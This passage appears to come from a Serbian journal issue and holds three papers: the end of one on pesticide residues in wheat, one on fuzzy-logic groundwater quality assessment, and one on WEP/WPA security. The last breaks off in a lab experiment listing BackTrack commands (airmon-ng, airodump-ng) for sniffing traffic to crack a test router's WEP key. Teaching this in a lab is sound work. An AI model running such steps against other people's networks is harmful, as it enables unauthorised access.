хроматографском анализом одређено је присуство 

органофосфорних пестицида: тионазина, дисулфона, 

паратион метила, хлорпирифоса и паратиона. 

За идентификоване хлорпирифос, тионазин, 

дисулфотон и паратионметил у Правилнику о 

количинама пестицида нису дефинисане 
максималне дозвољене концентрације, а како су они 

нађени у анализираној пшеници, требало би важећи 

Правилник  допунити. 

Количине органофосфорних пестицида које 

уносимо у организам конзумирањем намирница 

произведених  од анализиране пшенице, много су 

веће од вредности које је објавио FAO. 

Измерене вредности садржаја органофосфорних 

пестицида указују на неопходност темељног 

поступка обраде зрна у поступку млинског чишћења 

пшенице са циљем уклањања штетних материја са 
површине зрна намењеног изради производа од 

целог зрна ради обезбеђења здравствено исправне 

хране јер се  интензивном површинском обрадом 

зрна уклањају се штетне материје и изумрли делови   

омотача, што позитивно утиче на квалитет и 

здравствену безбедност. 
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REZIME 

 

Процена квалитета подземне воде представља 

комплексан и мултидимензионалан задатак услед 

бројних неодређености које се појављују у свим 
фазама овог процеса. Основни циљ фази логике 

јесте превазилажење неодређености на конзистентан 

начин, на које човек као доносилац одлуке наилази 

приликом рада са великом количином комплексних 

информација. Комплексне информације се односе на 

рад са великим бројем различитих варијабилних 

параметара у анализи проблематике квалитета воде, 

различите мерне јединице параметара, као и 

различите скале и опсези процењивања.  

Евалуиран је оптимални фази модел за процену 

физичко – хемијског квалитета подземне воде које у 
себи садрже природно повећане концентрације 

неорганског арсена. Физичко – хемијски квалитет 

подземне воде базиран је на основу 10 селектованих 

карактеристичних параметара: боја и 

електропроводљивост воде, pH вредност, утрошак 

калијум-перманганата, садржај укупног гвожђа, 

амонијак, калцијум, магнезијум, натријум и арсен у 

води. Валидација креираног фази модела је 

испитана на примеру експериментално одабраног 

локалитета града Зрењанина. Развијени модел је 

могуће транспоновати на урбаним и руралним 
подручјима уз одговарајуће итерације. 

Кључне речи: фази логика, квалитет подземне 

воде, физичко – хемијски параметри 

ABSTRACT 

 

Groundwater quality assessment presents complex 

and multidimensional task due to numerous 

uncertainties that occur in every phase of this process. 
The fundamental aim of fuzzy logic is the overcoming 

of uncertainties in a consistent manner, that man as a 

decision maker faces when working with large amounts 

of complex information. Complex information are 

related to the work with a large number of different 

variables in the water quality analysis, different units of 

measurement parameters, as well as the different scale 

and scope of assessment. 

It has been evaluated optimal fuzzy model for the 

assessment of physical - chemical groundwater quality 

with elevated natural inorganic arsenic concentration. 
Physico – chemical groundwater quality is based on the 

basis of 10 selected characteristic parameters: color and 

electrical conductivity, pH, consumption of potassium 

permanganate, the content of total iron, ammonium, 

calcium, magnesium, sodium and arsenic in the water. 

Validation of evaluated fuzzy model was tested on the 

experimentally selected locality of the city of Zrenjanin. 

The developed model can be transposed to the urban 

and rural areas with appropriate iteration. 

Keywords: fuzzy logic, groundwater quality, 

physico – chemical parameters 
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1. УВОД 

 

Класичне методе за процену квалитета воде 

функционишу на бази: компарације добијених 

параметара воде са њиховим граничним 

вредностима без укључивања било каквих 

неодређености и степена поузданости, сигурности. 

Традиционалне класификационе методе параметара 

квалитета воде користе класичан, нумерички скуп, а 

вредности концентрације које су близу или далеко 

од граничних вредности се посматрају у истим 
класама. Посебно је квалитет воде за пиће тренутно 

дефинисан само као одсуство или стриктно 

ограничено присуство одређених загађујућих 

супстанци. Праћење квалитета подземне воде, која 

се користи за производњу пијаће воде, и 

квалитативно доношење одлука на основу 

добијених података представља комплексан и 

мултидимензионалан задатак. Главни разлог су 

неизвесности које се јављају при сваком кораку, 

почев од узорковања па све до анализа. 

Неизвесности увек присутне у проблематици 
заштите животне средине могу бити превазиђене 

употребом фази функције припадања. Скуп 

података добијених са терена и њихове граничне 

вредности тренутно се искључиво разматрају као 

класични скупови али потребно их је укључити у 

моделовање као фази скупове. Неизвесност се мора 

проценити и укључити у све анализе у процени 

животне средине и процесу доношења одлука. 

Један од начина за превазилажење 

проблематике са неизвесностима је увођење степена 

поузданости у фази проценама реалних система. 

Степен поузданости представља крајњи резултат 
или излазну величину свих фази модела. 

Захваљујући прилагодљивости фази логике 

приликом доношења одлука у оцењивању животне 

средине, урађена је процена квалитета подземне 

воде града Зрењанина која се користи као вода за 

пиће у граду Зрењанину. У раду је евалуиран 

Мамдани фази модел за процену квалитета подземне 

воде на основу 10 селектованих кључних физичко – 

хемијских параметара карактеристичних за 

одабрани хидролошки експериментални локалитет: 

боја воде, електропроводљивост, pH вредност, 
утрошак KMnO4, амонијак, укупно гвожђе, 

калцијум, магнезијум, натријум и арсен. . 

 

2. ТЕОРИЈА И МЕТОДЕ 

 

Теорија фази скупова је генерализација 

класичне теорије скупова, будући да се припадност 

елемената фази скупу може окарактерисати бројем 

из интервала [0,1]. Фази скупови су основни 

елементи којима се описује неодређеност. Теорија 

фази скупова омогућава интеграцију информација 

различитих параметара у процесу моделовања и 
евалуације. Функција припадања за сваки скуп има 

карактеристичан облик и представља степен 

припадања одређеног елемента фази скупу.  

Функција припадања фази скупа А дефинисана 

над доменом X је [1]: 

                                                                                                                                                     

(1). 

Фази скуп А, над универзалним скупом X, може 

се дефинисати као скуп уређених парова: 

                                                                                                                                        

(2).  

Приметимо да је:  

               
Када функција припадања има највећу могућу 

вредност 1, за фази скуп кажемо да је нормализован. 

У раду ће се користити фази скупови дефинисани 

над доменом реалних бројева. 

Фази моделовање квалитета подземне воде се 

састоји из следећих фаза:  

1. Евалуација кључних селектованих физичко-

хемијских параметара подземне воде,  
2. Фазификација селектованих параметара, 

3. Примена креираних фази правила, 

4. Фази одлучивање употребом фази 

оператора, 

5. Примена фази система закључивања, 

6. Дефазификација у класичне вредности. 

Функције припадања посматраних 10 физичко – 

хемијских параметара квалитета подземне воде су 

трапезоидне (слика 1) и креиране су на основу 

дозвољених граничних вредности према важећој 

законској регулативи у Републици Србији [2] и 
према студијама и препорукама Светске здравствене 

организације – WHО [3] и Америчке Агенције за 

заштиту животне средине – USEPA [4] (Табела 1), 

као и према перцепцији аутора. Облик функције 

припадања је одабран на основу субјективне 

процене и претходних искустава. У фази проценама 

квалитета водних тела најчешће су имплементиране 

трапезоидне функције припадања, јер постижу 

највећу тачност при класификацији воде и 

карактеришу динамичко понашање параметара 

квалитета воде [5].  
 

 

x

μ(x)

1

a b c d  
 

Слика 1. Трапезоидна функција припадања 
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Једначина (4) описује трапезоидну функцију 

припадања са својим специфичним параметрима [1]: 

  

 
 

Zadeh [6] је предложио следеће дефиниције за 

операције над фази скуповима: 

1. Унија фази скупова А и Б је фази скуп Ц чија је 

функција припадања (оператор OR): 

                                                                                          

(5),             

2. Пресек два фази скупа А и Б је фази скуп Ц 

чија је функција припадања (оператор AND): 

                                                                                          

(6). 

 Наредна фаза у фази моделовању представља 

креирање и агрегација фази правила. Фази правила 

су стандардна математичка правила у форми: АКО 

је x=А, ОНДА је y=Б, где су x и y лингвистичке 

променљиве, док су А и Б лингвистичке вредности 

дефинисане над универзалним скуповима X и Y. „x 

је А“ се назива антецедент (претходник), 

претпоставка, премиса, чињеница. „y је Б“ се назива 
консеквенца, конклузија, закључак, последица. За 

фази правила консеквенца тј. последица се поставља 

као истинита на истом степену као и антецедент. 

Максималано могућ број правила је одређен бројем 

улазних величина и бројем лингвистичких 

вредности. Ако је број улаза н, а број вредности за 

сваку величину понаособ м, онда је максималан број 

правила мн. 

Већина система заснованих на правилима имају 

више од једног правила. Процес добијања 

свеобухватне консеквенце од индивидуалних 

консеквенца из сваког правила у фази систему 

предстваља агрегацију правила [7].  У случају 

система правила која морају заједнички бити 

задовољена, правила се повезују оператором AND 

( ). За случај дисјунктивног система правила, где 
мора бити задовољено бар једно правило, правила 

су повезана оператором OR (V).  

Фази систем закључивања (Fuzzy Iнfereнce 

Systeм – ФИС) је најзначајнији алат за моделовање 

заснован на теорији фази скупова. Основна 

структура ФИС-а је модел који пресликава улазне 

карактеристике у улазне функције припадности, 
улазне функције припадности у правила, правила у 

скуп излазних карактеристика, излазне 

карактеристике у излазне функције припадности и 

излазну функцију припадности у јединичну 

вредност излаза или одлуку у складу са излазом. 

Систем фази закључивања је процес формулације 

трансформације фази улаза у фази излаз путем фази 

логике покушавајући да формализује процес 

људског резоновања путем креирања фази правила. 

Најчешће имплементиран тип ФИС-а је Мамдани 

фази моделовање.  

Типично правило код Мамдани фази модела са 
два улаза и једним излазом има следећу форму:АКО 

је x=А  y=Б ОНДА је з=Ц. Постоје два оператора 
која се примењују у Мамдани фази методологији, а 

то су маx-мин или маx-производ. Маx – мин је 

најчешће правило композиције које се користи у 

пракси. Мамданијев маx – мин приступ карактерише 

то што је крајњи излаз из свих правила фази скуп 

одабран са минималном јачином правила. Код 

правила маx – производа крајни излаз из свих 

правила је фази скуп пропорционално умањен за 

јачину свог правила преко алгебарског производа 

[7].  

 

 
Табела 1. Граничне вредности параметара према важећој законској регулативи Републике Србије и 

смерницама WHО и USEPA 

 

Параметар Јединица 
СРБ законом одређена 

гранична вредност 
WHO USEPA 

Боја oPt/Co 5 - 15 

Електропроводљивост 
µS/cm 

1000 - 400-

850 

pH - 6.8-8.5 7-8.5 6.5-8.5 

Утрошак KMnO4 mg/L 8 1-19 - 

Amonijak (NH4
+) mg/L 1 1.5 1.5 

Укупно гвожђе (Fe2+/ 

Fe3+) 
mg/L 

0.3 0.1-0.3 0.3 

Калцијум (Ca2+) mg/L 200 75 - 

Магнезијум(Mg2+) mg/L 50 30 - 

Натријум (Na+) mg/L 150 200 100 

Арсен (As3+/ As5+) mg/L 0.01 0.001-0.01 0.01 

 

 



38 
 

Дефазификација је последњи корак код 

Мамдани фази модела. Дефазификација је процес 

превођења резултата добијеног у облику фази скупа 

у бројчану вредност. Улазна величина процеса 

дефазификације је фази скуп, а излаз – једна, 

коначна вредност. Развијен је низ метода за 

дефазификацију. У раду су се користиле две 

најчешће примењиване методе: метода средње 

вредности максимума (МОМ-меан оф маxима) и 

метода центра гравитације или области (ЦОА-ceнter 

od area). 
Метода средње вредности максимума, формира 

јединствену вредност излазне променљиве као 

средњу вредност локалних вредности у којима 

функција припадности постиже максималну 

вредност. МОМ метод је представљен наредним 

изразом [8,9,10]: 

                           (7).                                                          

ЦОА процедура је најчешће коришћена 

дефазификациона метода и представљена је 

алгебарским изразом [8,9,10]:  

                      (8).                                                          

 

 

3. РЕЗУЛТАТИ И ДИСКУСИЈА 

 

Евалуирани Мамдани фази модел је примењен 

на подацима физичко-хемијских параметара 

подземне воде из пијезометра на територији града 

Зренјанина. Републички хидрометеоролошки завод 

Србије (РХМЗ) на територији Републике Србије има 

постављену мрежу хидролошких станица за 

праћенје режима подземних вода. На територији 

града Зренјанина постоји постављен пијезометар у 

надлежности РХМЗ. Дубина пијезомерта је 43.33 м, 

са које се и узимају узорци за испитивање 

исправности подземне воде. Испитиванја се врше 

једном годишнје и то углавном у месецу 

сепетембру. Подаци о физичко-хемијском квалитету 

подземне воде на територији града Зрењанина за 
период од 2004.-2010. године су приказани у 

наредној Табели 2.  

Фазификација одабраних физичко – хемијских 

параметара квалитета подземне воде ће се спровести 

кроз трансформацију класичних бројева у 

трапезоидне фази скупове помоћу једначине (4) из 

теоријског дела. За одабране параметре квалитета 

подземне воде додељују се фази скупови чије су 

функције припадања приказане на следећим сликама 

2 - 11. Фазификованих осам хемијских параметара 

квалитета подземне воде је обрађено у раду Киурски 
и сар. [5], а примењени су на узорцима подземне 

воде из артешких бунара на територији града 

Зрењанина. С тога Мамданијев  модел евалуиран у 

овом раду представља надоградњу и 

систематизацију проширењем процене квалитета 

подземне воде како на физичке и тако и на хемијске 

параметре дајући прецизније резултате и 

свеобухватнију слику о стању водног тела. 

 

Табела 2. Физичко-хемијски параметри подземне воде из пијезометра у граду Зрењанину 

  

Параметри са јединицама 
Узорак подземне воде из пијезометра  

2010. 2009. 2008. 2007. 2006. 2005. 2004. 

Боја воде (oPt/Co) без боје без боје без боје без боје без боје без боје без боје 

Електропроводљивост 

(µS/cm) 
1635 1513 1509 1442 1384 1300 1588 

pH 7.8 7.6 7.9 7.9 8 8 7 

Утрошак KMнO4 

(mg/L) 
18 8.4 6.9 6.7 9.2 9.4 11.2 

NH4+ (mg/L) 3.61 3.09 3.02 3.29 3.66 3.36 1.82 

Fe2+/ Fe3+ (mg/L) 0.23 0.25 0.08 0.2 0.57 0.21 0.14 

Ca2+ (mg/L) 54 61 53 56 73 65 112 

Mg2+ (mg/L) 13 10 20 15 10 18 22 

Na+ (mg/L) 257.9 312.6 295 338.4 338 326 316 

As3+/As5+ (μg/L) 1.5 2 0.6 3 6 4 2.5 
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Слика 2. Функција припадања за боју воде 
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Слика 3. Функција припадања за електропроводљивост воде 
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Слика 4. Функција припадања за pH вредност 
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Слика 5. Функција припадања за утрошак KMnO4  
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Слика 6. Функција припадања за укупно гвожђе 
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Слика 7. Функција припадања за амонијак 
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Слика 8. Функција припадања за калцијум 
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Слика 9. Функција припадања за магнезијум 
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Слика 10. Функција припадања за натријум 
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Слика 11. Функција припадања за арсен 

 

Фази модел квалитета подземне воде је креиран 

на тај начин што је 10 селектованих параметара 

подељено у 5 различитих категорија тј. група према 

унапред утврђеним критеријумима квалитета. Групе 

су формиране на основу главних карактеристика 
физичког и хемијског састава подземних вода. Прву 

групу сачинаванју: боја и електропроводљивост 

воде које представљају физичке карактеристике 

воде. Друга група је формирана од параметара: pH 

вредност и утрошак KMnO4, који представљају 

основне показатеље хемијског састава подземне 

воде и то су параметри који се испитују у оквиру 

основног прегледа квалитета воде. У трећу групу 

спадају катјони укупног гвожђа и амонијака који 

чине микрокомпоненте подземне воде, које својим 

присуством не утичу на тип воде, већ имају значајан 
утицај на специфичан састав подземне воде и често 

одређују могућност коришћења подземне воде. 

Четврта група је структуирана од калцијумовог, 

магнезијумовог и натријумовог јона који 

представљају макрокомпоненте, које чине основни 

састав подземних вода и на основу њиховог 

садржаја одређује се тип воде. Пета група је 

формирана од јонског облика арсена. Једињења 

арсена се посматрају појединачно јер је арсен један 

од кључних хазардних параметара квалитета 

подземне воде обогаћене арсеном, која се користи за 

производњу пијаће воде. Свакој групи параметара је 

дат одговарајући значај или “тежина” на основу 

утицаја селектованих параметара на људско 

здравље. 
Приликом креирања фази правила све изјаве су 

повезане оператором AND. Навешће се неколико 

евалуираних примера фази правила: Ако је pH воде 

Пожељан и утрошак KMnO4 Неприхватљив ОНДА 

је квалитет подземне воде друге групе Прихватљив; 

Ако је укупно гвожђе Пожељно и амонијак 

Неприхватљив ОНДА је квалитет подземне воде 

треће групе Прихватљив. 

Крајњи квалитет подземне воде је подељен у 

три класе: Пожељан, Прихватљив и Неприхватљив,  

које су креиране на основу хигијенске исправности 
подземне воде. Проценти у крајнјем резултату  

представљају са којим степеном безбедности тј. 

сигурности је вода поуздана за пиће. Функција 

припадања резултујућег финалног квалитета 

подземне воде применом Мамданијевог ФИС-а је 

приказана на слици 12. 

У наредној табели 3 биће приказани финални 

резултати квалитета подземне воде из пијезометра 

добијени преко евалуираног Мамдани фази модела. 
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Слика 12. Функција припадања за крајнји квалитет подземне воде 
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Табела 3: Финални резултати квалитета подземне воде применом Мамданијевог фази модела 

 

Узорак 
Квалитет подземне 

воде 

Степен поузданости 

МОМ ЦОА 

2010. Прихватљив 62.5 % 61.34% 

2009. Прихватљив 62.5 % 61.34% 

2008. Прихватљив 62.5% 61.34 % 

2007. Прихватљив 62.5 % 61.34% 

2006. Прихватљив 62.5 % 61.34% 

2005. Прихватљив 62.5 % 61.34% 

2004. Прихватљив 62.5 % 61.34% 

 

Приликом процене квалитета подземне воде 

појављују се два типа неизвесности, чије је потпуно 

уклањање главни циљ. Прво, параметрима чије су 

концентрације близу макцимално дозвољених 

концентрација (МДК), је посвећена додатна пажња и 

разматрани су веома обазриво. На пример, 
концентрација натријума од 160.8 mg/L је изнад 

МКД од 150 mg/L за 7.2%. Међутим, при овим 

концентрацијама натријума неће доћи до нежељених 

здравствених ефеката по хуману популацију и с тога 

се у проценама овај ниво натријума у води сматра 

прихватљивим. Тек при концентрацијама натријума 

преко 200 mg/L долази по промене укуса воде и 

могућег утицаја на хипертензију која се појавила 

код малог броја испитаника [3]. Друго, не постоји 

хомогеност међу параметрима у класама квалитета 

подземне воде. То се може закључити посматрањем 

функција припадања за селектоване параметре који 
су подељени у три класе (пожељан, прихватљив и 

неприхватљив). Сваки параметар делује јединствено 

на здравствено стање људи и на основу тога је и 

расподељен у класе квалитета. На пример, пожељан 

опсег концентрација за арсен износи од 0-10 μg/L 

док за магнезијум износи од 60-100 mg/L. 

Фази процена која обично користи бројчану 

скалу за представљанје квалитета воде и обезбеђује 

алтернативну методологију за агрегирање вредности 

параметара са различитим функцијама квалитета се 

истражује и користи у евалуацији квалитета 
животне средине од 1990-их година. Sii и сар. [11], 

Ludwig и Tulbure [12] и Garg и сар. [13]  су међу 

првима разматрали неизвесности у процени 

квалитета воде користећи фази функцију припадања 

са вредностима које су се кретале од 0 до 1 за 

формирање применљивог фази скупа уместо 

конвенционалне скале од 0 до 100 у традиционалној 

методологији. Овом тематиком су се такође бавили 

и Chang и сар. [14]; Liou и сар. [15]; Liou и Lo [16]; 

Dahiya и сар. [17]; Icagа [18]; Kumar и сар. [19]; 

Mahaptra и сар. [20]; Nasr и сар. [21]; Liu и сар. [22]; 
Nasr и сар. [23]; Priya [24]; Srivastava и сар. [25]; 

Wang и сар. [26]; Zhou и сар. [26].  

 

4. ЗАКЉУЧАК 
 

Флексибилност фази логике представљена је 

могућношћу да развије класификационе моделе који 

имају употребу при проблемском решавању процене 

квалитета подземне воде. Карактеристике самог 

процеса процене квалитета воде указују на 

чињеницу да се ради о вишедимензионалном 

проблему чије променљиве тј. параметри најчешће 

немају прецизно дефинисане вредности, или их је 
тешко измерити. Овакве технике садрже многе 

карактеристике које их чине изузетно привлачним и 

ефикасним. Фази системи имају могућност да 

успешно хармонизују инхерентна одступања и 

нејасноће и да једноставно интерпретирају 

комплексне системе.  

Евалуирани резулатати Мамдани фази модела 

имају одређене предности у односу на до сада 

примењене методологије, које се манифестују у 

чинјеници да су експериментално добијени подаци 

вредности параметара квалитета подземне воде 

комбиновани са експертским знањима и техникама 
вештачке интелигенције. Сигнификантна предност 

фази методологија, у односу на конвенционалне 

методе, јесте додељивање тежинских фактора 

параметрима на основу здравствених импликација 

на хуманој популацији који у великој мери утичу на 

резултате процена и одређивања квалитета воде. 

Код додељивања тежинских фактора, могу се истаћи 

комбиновани приступи који се заснивају на примени 

субјективних и објективних метода како би се 

добили интегрисани тежински фактори. 

Једна од главних предности фази приступа је та 
што се сваком резултујућем квалитету воде 

додељује одговарајући степен поузданости. Тиме се 

добијају прецизнији и приступачнији резултати како 

за доносиоце одлука тако и за јавност која треба да 

буде обавештена о стању квалитета воде. 

Развијени и креирани Мамдани фази модел 

може бити дисиминиран, пренет и коришћен на 

градове сличних хидрогеолошких карактеристика 

добијања воде. 
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REZIME 

 

U radu su prikazani bezbednosni aspekati kod 

beţičnih mreţa. Predstavljeni su WEP i WPA 

sigurnosni algoritmi putem svojih osnovnih 
karakteristika, kao i njihove prednosti i slabosti. Na 

kraju su data i dva eksperimenta koja demonstriraju 

načine za probijanje šifara u mreţama koje koriste 

navedene sigurnosne algoritme. Alati se nalaze u okviru 

besplatne Linux distribucije za digitalnu forenziku po 

imenu BackTrack. 

ABSTRACT 

 

The paper presents the safety aspects of wireless 

networks. WEP and WPA safety algorithms are 

presented with their main characteristics, as well as their 
advantages and weaknesses. The paper finishes with 

two experiments which demonstrate the ways of 

breaking passwords in networks which use those safety 

algorithms. Tools are within free Linux distribution for 

digital forensic named BackTrack. 

 

 

 

1. UVOD 

 
Beţična komunikacija se koristi kako u poslovne, 

tako i u privatne svrhe. Njene osnovne predosti su bolja 

pokretljivost klijenata, lakše dodavanje novih ureĎaja i 

manji troškovi kada je potrebna oprema u pitanju. 

Beţične mreţe se vrlo često koriste sa modernim 

ureĎajima poput notebook ili tablet računara, ili pak na 

pametnim telefonima. Ovaj tip mreţe je danas široko 

rasprostranjen. 

Osnovna razlika izmeĎu beţičnih i ţičanih mreţa se 

ogleda u načinu prenošenja podataka. Ţičane mreţe 

tipično koriste bakarne ili optičke kablove. Za pristup 

podacima iz ove mreţe potrebno je izvršiti povezivanje 
ţeljenih ureĎaja na odgovarajući kabel. U beţičnim 

mreţama se podaci prenose radio talasima i ne postoji 

ţičana veza izmeĎu povezanih ureĎaja, pa je 

prisluškivanje podataka koji se prenose na ovakav način 

moguć uz korišćenje jeftine i široko dostupne opreme. 

Da bi se postigao potreban nivo sigurnosti u beţičnim 

mreţama poseţe se za upotrebom odgovarajućih 

sigurnosnih algoritama poput WEP, WPA ili WPA2. 

 

2. WEP, WPA i WPA2 

 

WEP (engl. Wired Equivalent Privacy) je 

sigurnosni algoritam, koji je nastao 1999. godine, sa 
ciljem da ponudi sigurnost u beţičnim LAN mreţama 

koja bi bila jednaka sigurnosti koja postoji kod ţičanim 

mreţa. Vrlo brzo su uočeni brojni nedostatci, te je WEP 

algoritam zamenjen novijim algoritmom po imenu 

WPE. 

Neki od nedostatka [1] WEP algoritma su slaba 

kriptografija, nedostatak upravljanja ključevima, mala 

veličina ključeva, višestruko korišćenje istih 

inicijalizacionih vektora, neotpornost na višestruke 

napade i elektromagnetne smetnje, problemi sa 

autentifikacijom, falsifikovanje paketa kao i neotpornost 

na napad preopterećenjem porukama. WEP je takoĎe 
veoma ranjiv kada je prisluškivanje u pitanju. 

WPA (engl. Wi-Fi Protected Access) algoritam je 

nasledio WEP protokol, omogućivši kompleksniju 

enkripciju (šifrovanje) podataka. Pri tome vaţno je 

pomenuti da WPA radi na ureĎajima koji podrţavaju 

WEP. Glavna poboljšanja koje je doneo WPA su na 

polju:  

 Enkripcije komunikacije, što je postignuto 

upotrebom TKIP protokola (engl. Temporal 

Key Integrity Protocol); 



46 
 

 Autentifikacije korisnika, postignuto 

upotrebom EAP (engl. Extensible 

Authentication Protocol). 

 

"WPA protokol implementira većinu od IEEE 

802.11i standarda, i zamišljen je kao meĎurešenje koje 

bi trebalo da zameni WEP." [1] 

WPA takoĎe koristi Message Integrity Code (MIC)  

da bi se izbegli problemi sa falsifikovanjem, zatim da bi 

se detektovale greške u sadrţajima koji se prenose, kao i 

da bi se eliminisali neki tipovi napada na beţične mreţe. 
WPA2 (engl. Wi-Fi Protected Access II) nasleĎuje i 

poboljšava WPA algoritam. "WPA2 protokol koristi 

snaţniji algoritm za šifrovanje poznat kao Advance 

Encryption Standard (AES). Advanced Encryption 

Standard je standard za šifrovanje koji koristi simetrične 

ključeve, i prihvaćen je od vlade SAD." [1] 

 

3. BEZBEDNOST I TIPOVI NAPADA 

 

Postoje odreĎeni uslovi pod kojima se beţična 

mreţa moţe smatrati sigurnom. Kada su u pitanju 
WLAN mreţe u kompanijskom okruţenju, bezbednosni 

zahtevi se mogu grupisati u sledeće tri kategorije [2]: 

 Tajnost podataka i integritet (engl. Data 

Confidentiality and Integrity); 

 Autentifikacija i kontrola pristupa (engl. 

Authentication and Access Control); 

 Detekcija i prevencija upada (engl. Intrusion 

Detection and Prevention). 

 

 
Slika 1. WLAN bezbednost, [2] 

 

Postoje različiti tipovi napada na beţične mreţe.  

Napade moţemo klasifikovati na više različitih načina. 

Jedna podela je na na: 

 Pasivne napade; 

 Aktivne napade. 

Pasivne napade je teţe detektovani, jer prividno ne 

postoje nikakvi problemi u funkcionisanju beţične 
mreţe. "Pasivni napad je napad gde korisnik bez 

autorizacije stiče pristup beţičnoj mreţi sa ciljem da 

samo „sluša“ informacije koje se prenose a pri tome ih 

ne modifikuje. Pasivni napadi izgledaju kao teţi za 

identifikovanje od strane mreţnog administratora, jer 

mreţne operacije nisu pogoĎene njima. "[3] 

Tipovi pasivnih napada [3] su: 

 Prisluškivanje (engl. Eavesdropping), gde 

napadač pasivno posmatra razmenu 

informacija izmeĎu autoentifikovanog 

korisnika i Access Point-a, bez ikakvih izmena; 

 Analiza saobraćaja (engl. Traffic Analysis) je 

slična prisluškivanju s tim da se posmatraju 

podaci koji se uklapaju u odreĎeni šablon. 

Na trţištu postoji veći broj komecijalnih i 

besplatnih alata koji omogućavaju pasivne napade, a 

neki od njih će biti korišćeni u eksperimentu u okviru 

ovog članka. 
Prilikom aktivnog napada napadač moţe 

modifikovati informacije koje se prenose. Administrator 

ima mogućnost da detektuje da postoji aktivni napad, ali 

nije uvek u mogućnosti da ga spreči. Neki od tipova 

aktivnih napada [3] su: 

 Maskiranje (engl. Masquerading), kada se 

napadač pretvara da je autorizovani korisnik. 

Cilj je dobijanje odreĎenih dozvola; 

 Ponavljanje paketa (engl. Packet Replay), kada 

napadač prikuplja pakete podataka izmeĎu 

Access Point-a i korisnika i zatim ih odreĎenim 
redosledom ponovo šalje; 

 Izmena podataka (engl. Data modification), 

kada napadač modifikuje prukupljene podatke i 

zatim ih dalje prosleĎuje; 

 DoS (engl. Denial of Service), kada napadač 

sprečava ispravno funkcionisanje u beţičnoj 

mreţi. 

 

Duga klasifikacija se odnosi na način na koji se 

vrše napadi. Napadi se mogu podeliti na, [3]: 

 Logičke napade; 

 Fizičke napade. 

 

Neki od tipova logičkih napada su: 

 Laţiranje MAC adrese (engl. Spoofing of 

MAC address), u cilju pristupa beţičnoj mreţi. 

 MITM (engl. Man is the Middle) napad ima 

više varijacija. Jedna od njih je da napadačev 

ureĎaj ne dozvoljava korisničku da se direktno 

poveţe na Access Point, već samo posredno 

putem napadačevog ureĎaja. 

 
Fizički napade su jednostavniji od logičkih i 

oslanjaju se na hardverske karakteristike prisutne u 

beţičnoj mreţi. Jedan primer je fizički  pristup napadača 

Access Pointu što omogućava lakšu manipulaciju ili čak 

fizička oštećenja. Fizički napade je lakše otkriti, a 

glavni cilj im je uglavnom onesposobljavanje servisa ili 

ozbiljno narušavanje performansi rada mreţe. 

 

4. BACKTRACK 

 

Digitalna forenzika je nauka koja se bavi 

pronalaţenjem, prikupljanjem i analizom podataka u 
digitalnom obliku. Oblasti izučavanja mogu biti  

računari, mobilna telefonija, mreţe, kao i baze 

podataka. Forenzičari se često specijalizuju i za 

odereĎeni tip operativnog sistema: Windows, Linux ili 
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Mac. Digitalni dokazi  koje forenzičari prikupe koriste 

se kasnije za voĎenje sudskih postupaka ili istraga u 

okviru samih kompanija. Digitalna forenzika igra 

značajnu ulogu u policiji, vojsci, bankama, 

osiguravajucim kucama i drugim ustanovama i 

kompanijama gde moţe doći do industrijske špijunaţe i 

zloupotrebe informaciono-tehnoloških  (IT) sistema. 

Backtrack je distribucija  Linux operativnog 

sistema čija je vaţna namena  IT sigurnost. Koristi se za  

digitalnu forenziku,  testiranja upada, sigurnost mreţa i 

pronalaţenje sigurnosnih propusta i poseduje čitav niz 
forenzičkih alata za tu svrhu. Trenutno BackTrack 

poseduje više od 300 alata koji se svakodnevno mogu 

aţurirati u novije verzije. Alati su logički poreĎani na 

osnovu strukture pa i početnici mogu pronaći alat za 

ostvarivanje odreĎenog procesa. U BackTrack su 

uključene nove tehnologije i tehnike testiranja [4].  

Rado ga koriste profesionalci koji rade  testeranja 

upada, vladine agencije kao i  oni koji rade  u oblasti  

informatičke bezbodnosti.  

 

5. EKSPERIMENTI 

 

U nastavku rada biće predstavljeni rezultati dva 

eksperimenta koji se odnose na otkrivanje šifre za 

pristup beţičnim mreţama koje su zaštićene: 

 WEP algoritmom; 

 WPA algoritmom. 

 

Oba ekdspermienta imaju istu opremu koja je i 

povezana na isti način: 

 Modem koji je vezan za Internet. Teoretski on 

ne bi morao da postoji za ovo posmatranje, ali 

u praksi najčešće postoji; 

 Ruter (engl. Router), koji čini osnovu beţične 

mreţe. Ovaj ureĎaj je sa jedne strane ţičano 

vezan za Internet posredstvom modema, a sa 

druge strane koristeći antenu putem radio 

talasa komunicira sa drugim ureĎajima; 

 BackTrack LiveCD – operativni sistem koji se 

moţe na običnom PC računaru pokrenuti bez 

instalacije. Ovo je besplatan softver; 

 PC - ureĎaj koji beţično komunicira sa 

ruterom. Ovaj ureĎaj ima informaciju koja je 

šifra potrebna za komunikaciju sa ruterom. 
Njegov naziv u ovom radu će biti UserPC; 

 PC – ureĎaj koji ima beţičnu mreţnu karticu, 

ali koji nema informaciju koja je šifra potrebna 

za komunikaciju sa ruterom. Na njemu je 

pokrenut BackTrack operativni sistem. Ovaj 

ureĎaj koristimo za napad. Njegov naziv u 

ovom radu će biti BackTrackPC. 

 

 
Slika 2. Konfiguracija beţične mreţe koja se koristi u 

eksperimentima, nacrtana korišćenjem Packet Tracer [5] 

 

5.1. EKSPERIMENT 1 - WEP                                                                                                         

 
Osnovna ideja je delimično bazirana na postupku za 

otkrivanje šifara beţičnih WEP mreţa iz [6].  Preduslovi 

za eksperiment su konfigurisanje beţičnog rutera. Ruter 

je posredstvom modema povezan na Internet. Parametri 

rutera od značaja za eksperiment su postavljeni na 

sledeće vrednosti: 

 SSID: vts_test1; 

 Authentication: WEP; 

 WEP key: Zr023. 

 

Eksperiment je započeo tako što računar UserPC 
razmenjivao pakete sa Ruterom. Pri tome računar je 

(BackTrackPC) u svojoj konzoli izvršio sledeće 

komande (tabela 1 prikazuje komande i rezultate 

izvršenja tih komandi koje će biti opisane u daljem 

tekstu): 

 root@bt:~# iwconfig 

Na ovaj način su detektovane dostupne beţične 

kartice. Beţična kartica najčešće ima naziv 

„wlan0“. 

 root@bt:~# ifconfig wlan0 up 

Mreţni interfejs je omogućen. 

 root@bt:~# airmon-ng start wlan0 
Ovom komandom je beţična kartica prebčena 

u monitor mod, u kome je omogućeno kartici 

da prisluškuje svaki paket koji se nalazi u 

dometu. U ovom slučaju to su bili paketi 

izmeĎu UserPC i rutera. 

 root@bt:~# iwconfig mon0 

Izvršenjem ove komande omogućeno je da se 

vidi novi interfejs u monitor modu.  

 root@bt:~# airodump-ng mon0 

Na ovaj načim se mogu otkriti beţične mreţe u 

